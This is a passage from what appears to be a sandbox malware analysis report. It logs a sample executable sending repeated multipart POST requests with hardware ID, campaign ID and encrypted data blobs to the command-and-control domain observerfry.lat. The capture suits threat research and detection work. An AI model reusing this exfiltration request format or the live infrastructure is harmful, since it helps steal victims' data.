39 4a Data Ascii: ba9LgbpMk80MKJPijISUfjsgR+6VEt6tpVgga7/3B9Bp+6ugLom3v7858iLottV/6qCGD0Ui/nxFGSSPW+bHpXkaKrCr/EJJDJyDMoiRYA468BYeldJ+HaX4cNsfJxfE7Y8Lgfrsk40N+JOCDAQEmo7k9r+hl2pORMhRC27j9PRcDrqBe4xXnx04Q3Ic5eAPfuFizlVW68klyGBLj5c3JL3v22FaLNKdHVgDgsxFxK4rIGZe9XJvbRHMxIvOY9J
2024-12-23 07:07:36 UTC	1369	IN	Data Raw: 2f 4b 37 37 4f 4b 39 33 56 6a 77 6f 61 78 30 6c 55 37 36 34 4a 62 4b 49 58 62 75 75 53 42 4c 74 49 38 37 35 43 4d 77 62 4a 75 75 56 61 6e 63 41 31 30 4e 65 65 4a 57 6e 71 57 56 62 69 75 30 31 4b 35 55 67 6e 38 74 39 4f 77 6b 62 37 2b 44 30 6c 46 70 2b 36 75 51 76 6f 6d 32 75 4d 69 39 31 6e 63 35 6b 63 58 36 61 35 54 33 71 69 41 58 79 71 6b 6b 37 43 55 50 75 35 66 6d 39 55 31 2f 6d 72 47 65 2f 39 42 66 37 62 6e 6a 55 70 77 6b 4a 2b 31 72 55 4d 59 75 78 65 4f 50 57 53 45 73 49 48 2b 36 5a 45 50 51 36 52 78 66 4e 61 73 49 4e 6a 6e 75 57 4c 4f 69 72 4f 57 46 47 6c 67 41 52 36 34 31 51 6c 36 4a 42 64 6a 78 69 38 76 6a 4d 39 51 4a 47 69 37 56 54 6f 78 79 71 65 69 4e 68 6d 66 35 77 64 46 37 6a 79 45 43 4c 37 47 54 69 6b 69 67 37 4d 53 4b 6d 2b 4a 54 30 42 30 75 Data Ascii: /K77OK93Vjwoax0lU764JbKIXbuuSBLtI875CMwbJuuVancA10NeeJWnqWVbiu01K5Ugn8t9Owkb7+D0lFp+6uQvom2uMi91nc5kcX6a5T3qiAXyqkk7CUPu5fm9U1/mrGe/9Bf7bnjUpwkJ+1rUMYuxeOPWSEsIH+6ZEPQ6RxfNasINjnuWLOirOWFGlgAR641Ql6JBdjxi8vjM9QJGi7VToxyqeiNhmf5wdF7jyECL7GTikig7MSKm+JT0B0u
2024-12-23 07:07:36 UTC	1369	IN	Data Raw: 30 6a 6a 65 32 38 68 36 5a 4d 38 4f 47 4c 72 75 54 32 6a 7a 47 58 61 30 67 41 66 58 57 2b 79 75 4c 32 49 49 79 4c 71 72 57 76 43 52 64 5a 37 43 79 47 78 6b 6a 6b 31 53 2b 71 59 4d 65 75 45 65 45 4e 72 30 58 34 55 4f 75 50 42 71 62 41 54 2b 2b 62 59 57 70 4d 51 74 34 4f 36 64 4e 79 72 48 53 56 62 35 34 45 45 73 37 52 6c 32 33 5a 4a 4e 69 41 2f 33 74 6a 46 73 56 64 2f 78 71 78 33 6f 2f 48 57 65 79 4d 68 73 5a 50 78 4e 54 75 61 6e 47 58 32 76 66 79 33 6a 31 46 2b 4d 48 36 71 2b 4d 7a 31 41 6b 61 4c 76 56 4f 6a 48 4b 70 36 49 32 47 5a 2f 6e 42 30 58 75 50 49 51 49 76 73 5a 4f 4b 53 4b 44 38 78 49 71 62 34 6c 50 51 48 66 39 37 77 5a 70 73 41 70 7a 4e 61 4c 49 69 65 4f 63 48 37 4e 72 51 4a 70 37 46 34 51 32 76 4e 57 6b 67 57 30 2b 55 4e 44 63 63 44 39 72 56 69 Data Ascii: 0jje28h6ZM8OGLruT2jzGXa0gAfXW+yuL2IIyLqrWvCRdZ7CyGxkjk1S+qYMeuEeENr0X4UOuPBqbAT++bYWpMQt4O6dNyrHSVb54EEs7Rl23ZJNiA/3tjFsVd/xqx3o/HWeyMhsZPxNTuanGX2vfy3j1F+MH6q+Mz1AkaLvVOjHKp6I2GZ/nB0XuPIQIvsZOKSKD8xIqb4lPQHf97wZpsApzNaLIieOcH7NrQJp7F4Q2vNWkgW0+UNDccD9rVi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.199.72	443	7432	C:\Users\user\Desktop\0HdDuWzp54.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:07:38 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=J52CPNE7M35F16JDE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18157 Host: observerfry.lat
2024-12-23 07:07:38 UTC	15331	OUT	Data Raw: 2d 2d 4a 35 32 43 50 4e 45 37 4d 33 35 46 31 36 4a 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 43 44 31 34 43 42 37 43 30 41 39 38 32 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4a 35 32 43 50 4e 45 37 4d 33 35 46 31 36 4a 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4a 35 32 43 50 4e 45 37 4d 33 35 46 31 36 4a 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --J52CPNE7M35F16JDEContent-Disposition: form-data; name="hwid"3CCD14CB7C0A982BAC8923850305D13E--J52CPNE7M35F16JDEContent-Disposition: form-data; name="pid"2--J52CPNE7M35F16JDEContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-23 07:07:38 UTC	2826	OUT	Data Raw: 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af Data Ascii: 5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-12-23 07:07:38 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:07:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sm2kqffnmfrtc2qm633p3b8i9m; expires=Fri, 18 Apr 2025 00:54:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tf%2BPodEP8rAFQbuxJC6EXubpOsG72V9EXbgLVSwrXf8sRS0WLeZ7edUXQ1dO%2BkK6VFIgaHCUlnKY3QlDJad1bFAnMmWZevr%2BfsupTF%2F3Cg7Xm%2FqOrWp%2BRNOMbImXJ68TdT8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66840b9df20f69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1545&min_rtt=1512&rtt_var=590&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2837&recv_bytes=19117&delivery_rate=1931216&cwnd=250&unsent_bytes=0&cid=89d1c9de6f81a1bf&ts=963&x=0"
2024-12-23 07:07:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:07:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.199.72	443	7432	C:\Users\user\Desktop\0HdDuWzp54.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:07:40 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y2CCFU8FB6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8736 Host: observerfry.lat
2024-12-23 07:07:40 UTC	8736	OUT	Data Raw: 2d 2d 59 32 43 43 46 55 38 46 42 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 43 44 31 34 43 42 37 43 30 41 39 38 32 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 32 43 43 46 55 38 46 42 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 59 32 43 43 46 55 38 46 42 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 59 32 43 43 46 55 38 46 42 36 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --Y2CCFU8FB6Content-Disposition: form-data; name="hwid"3CCD14CB7C0A982BAC8923850305D13E--Y2CCFU8FB6Content-Disposition: form-data; name="pid"2--Y2CCFU8FB6Content-Disposition: form-data; name="lid"PsFKDg--pablo--Y2CCFU8FB6Content-
2024-12-23 07:07:41 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:07:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d7l4ac3ig3ugvka64d21duvgeo; expires=Fri, 18 Apr 2025 00:54:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EM3M0cYPeJdZhqCyITj2uXNduvqTqXxkkhhr%2FbEpKY%2BDDsj%2F0WMQd6CmPMrOAOcQv9oSYj9rwTZtdFn8Am%2BPI2jB7OJzoKsk0abZjaNGv0Xd%2F%2FsHczh5l0MqTvVaH9JpA%2Bk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f668419ce24436a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2186&min_rtt=2180&rtt_var=831&sent=7&recv=14&lost=0&retrans=0&sent_bytes=2836&recv_bytes=9666&delivery_rate=1307072&cwnd=184&unsent_bytes=0&cid=f180edf53b204f03&ts=807&x=0"
2024-12-23 07:07:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:07:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.199.72	443	7432	C:\Users\user\Desktop\0HdDuWzp54.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:07:42 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5YD9QOQNZTTW2JMJMX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20437 Host: observerfry.lat
2024-12-23 07:07:42 UTC	15331	OUT	Data Raw: 2d 2d 35 59 44 39 51 4f 51 4e 5a 54 54 57 32 4a 4d 4a 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 43 44 31 34 43 42 37 43 30 41 39 38 32 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 35 59 44 39 51 4f 51 4e 5a 54 54 57 32 4a 4d 4a 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 35 59 44 39 51 4f 51 4e 5a 54 54 57 32 4a 4d 4a 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --5YD9QOQNZTTW2JMJMXContent-Disposition: form-data; name="hwid"3CCD14CB7C0A982BAC8923850305D13E--5YD9QOQNZTTW2JMJMXContent-Disposition: form-data; name="pid"3--5YD9QOQNZTTW2JMJMXContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-23 07:07:42 UTC	5106	OUT	Data Raw: 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-12-23 07:07:43 UTC	1136	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7diu4dnv6kqvl5kdi37q9pl5q0; expires=Fri, 18 Apr 2025 00:54:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BYGmHZ530RGrT2IxO3FwsBZAgQ%2Bky%2BTVB%2F1AKU6ZxX38wMnUUSYsSw2NnrPxacy%2B7FILjkkFuCeomxRCZVAXlAeqofYFq%2FY8p6o9ZiQ1nKKhU%2FxKzY0bfs22FWx5%2BFMa9PM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f668427e974330c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1768&min_rtt=1763&rtt_var=672&sent=15&recv=26&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21398&delivery_rate=1614151&cwnd=190&unsent_bytes=0&cid=53d13732a90d76cb&ts=1255&x=0"
2024-12-23 07:07:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:07:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.199.72	443	7432	C:\Users\user\Desktop\0HdDuWzp54.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:07:45 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=55Y5F9DAJ435ZDUQZM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1248 Host: observerfry.lat
2024-12-23 07:07:45 UTC	1248	OUT	Data Raw: 2d 2d 35 35 59 35 46 39 44 41 4a 34 33 35 5a 44 55 51 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 43 44 31 34 43 42 37 43 30 41 39 38 32 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 35 35 59 35 46 39 44 41 4a 34 33 35 5a 44 55 51 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 35 59 35 46 39 44 41 4a 34 33 35 5a 44 55 51 5a 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --55Y5F9DAJ435ZDUQZMContent-Disposition: form-data; name="hwid"3CCD14CB7C0A982BAC8923850305D13E--55Y5F9DAJ435ZDUQZMContent-Disposition: form-data; name="pid"1--55Y5F9DAJ435ZDUQZMContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-23 07:07:46 UTC	1123	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ah61f7nk6iafb0tm54f01solff; expires=Fri, 18 Apr 2025 00:54:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U7DtNGRCnXyecQNCW3BE0R7jDSvIY0PDrzq%2BAa29x7hvdSeosNitYEayYWxNxRWL7mlY2jMf4VmtB%2F8eHIeD2m8u5MDpTkCKkqL1HAng0ueut9P3m9tRUIKwTdCeVBXf6%2Bs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f66843d4a880f67-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1516&min_rtt=1502&rtt_var=573&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2164&delivery_rate=1944074&cwnd=32&unsent_bytes=0&cid=cdd5039eb481a0e3&ts=765&x=0"
2024-12-23 07:07:46 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:07:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	172.67.199.72	443	7432	C:\Users\user\Desktop\0HdDuWzp54.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:07:48 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QDCZR7K2X User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570501 Host: observerfry.lat
2024-12-23 07:07:48 UTC	15331	OUT	Data Raw: 2d 2d 51 44 43 5a 52 37 4b 32 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 43 43 44 31 34 43 42 37 43 30 41 39 38 32 42 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 51 44 43 5a 52 37 4b 32 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 44 43 5a 52 37 4b 32 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 51 44 43 5a 52 37 4b 32 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --QDCZR7K2XContent-Disposition: form-data; name="hwid"3CCD14CB7C0A982BAC8923850305D13E--QDCZR7K2XContent-Disposition: form-data; name="pid"1--QDCZR7K2XContent-Disposition: form-data; name="lid"PsFKDg--pablo--QDCZR7K2XContent-Disp
2024-12-23 07:07:48 UTC	15331	OUT	Data Raw: f8 fc b8 1f 72 18 1f 70 73 48 67 02 50 98 52 9f f5 2d 51 a1 cb d7 66 7a 21 22 92 cf 1b 19 c5 82 cb 0d 64 48 ee 06 7a 49 5d 69 f2 3c a9 87 00 8e 6c 64 0b d6 88 26 47 38 28 57 86 07 24 18 df 29 8d bc 6d 38 e8 0c d9 29 cd 65 b7 d9 e4 a2 c7 dd 85 9e c6 6e b4 43 51 2d 4c 39 ee 15 d1 bf 4f 37 0e 06 c1 9e b0 bb e7 cc c1 f4 da d2 fa 70 3e b4 8e 84 79 48 9a 6d c7 c5 28 8e db db 29 f4 88 55 25 3f bb 62 d3 1c f1 25 e0 9b 88 d3 08 65 62 fd e3 0d f4 21 bd e7 a7 e2 4d 62 b7 ef 0a 92 5a 74 05 35 fe 6a ea 65 48 bb be 6f fc 80 5d 97 e1 37 75 b9 89 0f 91 7b be 48 8f f0 1d 88 f6 88 25 5e 36 cf 2a 04 05 66 fc 26 81 17 38 e4 79 c1 c3 76 4d cb 1d 35 c2 39 0a d3 c7 f8 86 7f bb ca 24 f2 f3 8b b0 9e 1e 67 4a 35 e9 2e 3c 59 75 c0 81 0d 1c eb 12 65 40 0d 5d 59 0c 51 06 19 33 79 9f Data Ascii: rpsHgPR-Qfz!"dHzI]i<ld&G8(W$)m8)enCQ-L9O7p>yHm()U%?b%eb!MbZt5jeHo]7u{H%^6*f&8yvM59$gJ5.<Yue@]YQ3y
2024-12-23 07:07:48 UTC	15331	OUT	Data Raw: da f5 6a ba d5 69 cb fe 60 2f e3 74 83 3c a1 9a fb e8 db 95 86 92 f9 aa bb 5d 79 df 1e 31 a6 45 63 4a 51 ae c9 6a 4f ed 67 fd e6 89 9e 6c 08 3a 08 f4 69 ba 32 ee f1 6d 36 29 c7 31 be 96 1d 5c 4c 50 49 43 90 d3 f6 8b 99 96 f7 d0 7c 65 63 9e 08 e6 2d a6 4e 3c a0 27 eb 8e 9d 9c d8 a5 85 86 d1 84 10 fd 36 4c 79 13 39 fb 83 0e e1 dd e6 55 86 be 7b 9a 18 2f ea 1d 4f ff a1 68 78 85 f6 a8 9c bd 3c d8 6d 13 22 47 92 3a 40 70 33 f1 a1 c8 cb c9 86 44 2d bd 35 3d 21 1d aa 63 d7 aa 8b e7 3f 29 bf d7 63 3b 47 b1 b5 99 77 5c 4f b2 fd 1e 9d cc 77 4f d1 7c 82 38 5e 88 44 43 7c db 94 13 e1 7c 02 ab 72 5d 0b 02 bb 6b a4 0e bf e4 94 3f 8c 22 49 a1 04 f6 f5 37 11 05 cb 31 b7 a3 a6 50 2f dd e5 c8 79 7c 33 25 f5 5e 28 1d fe c9 92 44 b6 28 67 51 47 7f 42 ee f7 10 f9 a1 30 0d 99 Data Ascii: ji`/t<]y1EcJQjOgl:i2m6)1\LPIC\|ec-N<'6Ly9U{/Ohx<m"G:@p3D-5=!c?)c;Gw\OwO\|8^DC\|\|r]k?"I71P/y\|3%^(D(gQGB0
2024-12-23 07:07:48 UTC	15331	OUT	Data Raw: 3a cf e5 99 22 4d 7f 02 7a 0f 81 fa 0e 50 5a d7 66 2c 18 d7 58 ee 7b 01 65 3b 8e 3b a8 e9 56 df 45 30 cd 82 9b 34 32 01 a4 6a d7 9e fc 48 a0 77 ef 6b 26 13 11 2c 7b f5 7f 07 51 c5 90 a5 22 28 93 58 68 72 cb bb 12 a0 24 13 bd 07 09 f5 65 60 0c bb 01 bd 90 f7 01 0d 0c 76 80 5b 91 24 0c 94 74 6e 30 1b de 76 ad 9a 9a b8 62 60 df 21 b3 f8 99 91 1d 0b 61 56 e3 aa b4 f7 41 da dc 36 4b 42 cb 1a 6a 1a fe 76 50 29 3a 57 97 2e bc 5a 02 5a 8d d1 87 22 07 23 15 d0 ef 18 3a 42 00 b1 08 04 5b 54 17 6d a9 e8 b3 ae 87 c8 05 87 52 29 f6 5e eb 5d 0a 34 c5 b5 53 2b 6a e7 fa a2 d2 57 e4 36 b8 40 20 4a 8b 9f 23 2f 5c ba 00 26 90 89 e5 3c e9 11 04 d7 83 ad d6 e2 24 5f a7 e1 05 a4 f8 2f b5 d0 19 ef 56 44 66 3f 69 14 68 06 70 ef 5b 90 2b b0 c2 52 a7 ce 5f b1 d0 16 3e 86 25 7a 32 Data Ascii: :"MzPZf,X{e;;VE042jHwk&,{Q"(Xhr$e`v[$tn0vb`!aVA6KBjvP):W.ZZ"#:B[TmR)^]4S+jW6@ J#/\&<$_/VDf?ihp[+R_>%z2
